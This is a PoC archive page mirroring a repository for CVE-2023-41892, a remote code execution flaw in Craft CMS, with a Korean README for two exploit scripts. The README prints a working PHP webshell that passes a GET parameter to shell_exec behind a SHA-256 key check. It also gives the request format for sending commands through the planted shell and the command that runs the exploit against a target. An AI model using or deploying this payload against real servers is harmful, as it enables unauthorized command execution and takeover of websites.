Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-41892 PoC — Craft CMS Remote Code Execution vulnerability

Source
Associated Vulnerability
Title:Craft CMS Remote Code Execution vulnerability (CVE-2023-41892)
Description:Craft CMS is a platform for creating digital experiences. This is a high-impact, low-complexity attack vector. Users running Craft installations before 4.4.15 are encouraged to update to at least that version to mitigate the issue. This issue has been fixed in Craft CMS 4.4.15.
Description
Customized this for my own use
Readme
# CVE-2023-41892_poc
Customized this for my own use

## poc_noauth.py
- 기본 PHP 원라인 웹쉘
- `?cmd=<명령어>` 통한 OS 명령어 실행

## poc_auth.py
- 간단한 키 기반 인증이 추가된 웹쉘 (SHA-256 해시 비교 방식)
- 올바른 키를 입력해야 명령어 실행 가능
- 코드 수정 필요:
  - `drop_payload` 함수 내부의 `webshell` 변수에서 `YOUR_SECRET_KEY` 부분을 원하는 키의 **SHA-256 해시값**으로 수정
- 사용 방법:
  1. `webshell` 내 `YOUR_SECRET_KEY` → 평문 키의 SHA-256 해시값으로 교체
  2. 요청 시에는 평문 키를 전달
     ```
     {target}/shell.php?k=<평문키>&c=<명령어>
     ```
- 예시:
  1. 설정: 평문 키 = test1234
  2. cyberchef 등을 통해 SHA256 해시화: 937e8d5fbb48bd4949536cd65b8d35c426b80d2f830c5c308e2cdec422ae2244
     - `echo -n test1234 | sha256sum`
     - `cyberchef` 등
  3. 코드 수정:
      ```python
      webshell = """<?php const K='937e8d5fbb48bd4949536cd65b8d35c426b80d2f830c5c308e2cdec422ae2244';if(hash('sha256',$_GET['k']??'')!==K)die; if(isset($_GET['c']))echo'<pre>'.shell_exec($_GET['c']); ?>"""
      ```

## 사용 방법
python poc_noauth.py {타겟}
File Snapshot

[4.0K] /data/pocs/d54baa43745afee66268f03828d5ab2ada9177db ├── [2.9K] poc_auth.py ├── [2.8K] poc_noauth.py └── [1.2K] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →